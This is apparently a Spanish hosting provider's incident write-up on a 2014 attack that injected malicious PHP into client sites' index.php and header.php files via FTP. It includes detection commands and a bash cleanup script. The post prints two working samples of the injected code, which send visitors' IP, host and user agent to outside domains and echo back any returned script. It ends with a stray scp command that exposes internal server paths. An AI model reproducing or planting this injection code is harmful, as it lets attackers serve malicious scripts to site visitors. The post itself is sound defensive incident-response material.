Esta semana hemos detectado un ataque en varias páginas webs de clientes, y el ataque ha sido muy similar al descrito por la empresa Core-admin en este POST
http://www.core-admin.com/portal/es/using-core-admin-to-resolve-php-web-hacking
Lo que nos hemos encontrado es que en algunos ficheros de las webs de clientes encontramos un código malicioso insertado principalmente en ficheros index.php, header.php, etc.
Los ficheros han sido modificados en la noche del 01-04-2014, aunque también hemos detectado que al menos desde el 21-01-2014 se habían infectado ficheros, y el aque ha sido progresivo.
Ejemplo 1 de código malicioso insertado en los ficheros originales:
<?php #488081# error_reporting(0); ini_set('display_errors',0); $wp_npsme32016 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_npsme32016) && !preg_match ('/bot/i', $wp_npsme32016))){ $wp_npsme0932016="http://"."http"."title".".com/title"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_npsme32016); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_npsme0932016); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_32016npsme = curl_exec ($ch); curl_close($ch);} if ( substr($wp_32016npsme,1,3) === 'scr' ){ echo $wp_32016npsme; } #/488081# ?>
Ejemplo 2 de código malicioso:
<?php #af1ba5# error_reporting(0); ini_set('display_errors',0); $wp_fipth1 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_fipth1) && !preg_match ('/bot/i', $wp_fipth1))){ $wp_fipth091="http://"."html"."option".".com/option"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_fipth1); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_fipth091); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_1fipth = curl_exec ($ch); curl_close($ch);} if ( substr($wp_1fipth,1,3) === 'scr' ){ echo $wp_1fipth; } #/af1ba5# ?>
Para Localizar los ficheros afectados hemos utilizado grep para localizar una cadena común de los archivos infectados:
grep -r "error_reporting(0); ini_set('display_errors',0);" /var/www/vhosts/
También nos hemos ayudado de find para localizar los ficheros modificados los últimos 10 días:
find /var/www/vhosts/ -mtime -10 -type f
Algunas otras opciones para localizar el pirateo de ficheros php:
find /var/www/vhosts/ -mmin -960 -type f -name «*.php»
y para localizar la versión de WordPress de los sitios web del servidor:
find . -name ‘version.php’ -path ‘*/var/www/*’ -print -exec grep ‘$wp_version =’ {} \; -exec echo » \;
find /var/www/vhosts/ -name ‘version.php’ -print -exec grep ‘$wp_version =’ {} \; -exec echo » \;
Después de un análisis forense de los logs del servidor, hemos determinado lo mismo que la gente de Core-Admin, que el ataque ha sido via FTP a esos clientes. No hemos localizado el patrón, pero sí que ha habido accesos no autorizados.
Eduardo González y su empresa CyberPymes, colaboradores habituales nuestros, nos ha escrito este script de limpieza que localiza el patrón de infección en los ficheros, los limpia y deja una copia del original .orig
Es necesario tener un listado.txt con el listado de ficheros infectados que podemos localizar con grep.
Script de desinfección:
#!/bin/bash for target in $(cat listado.txt); do echo $target token=`grep ^#\/ $target |sed 's/\///g' | sed 's/#//g'` echo "Token: $token" cp -p $target $target.orig sed "/#${token}#/,/#\/${token}#/d" $target.orig > $target done
scp -r /vz/private/140119/var/www/vhosts/wpsa-aeca.es/subdomains/symposium/* root@vm06.soluciones.si:/vz/private/1001/var/www/vhosts/wpsa-aeca.es/subdomains/symposium/
/var/www/vhosts/wpsa-aeca.es/subdomains/symposium/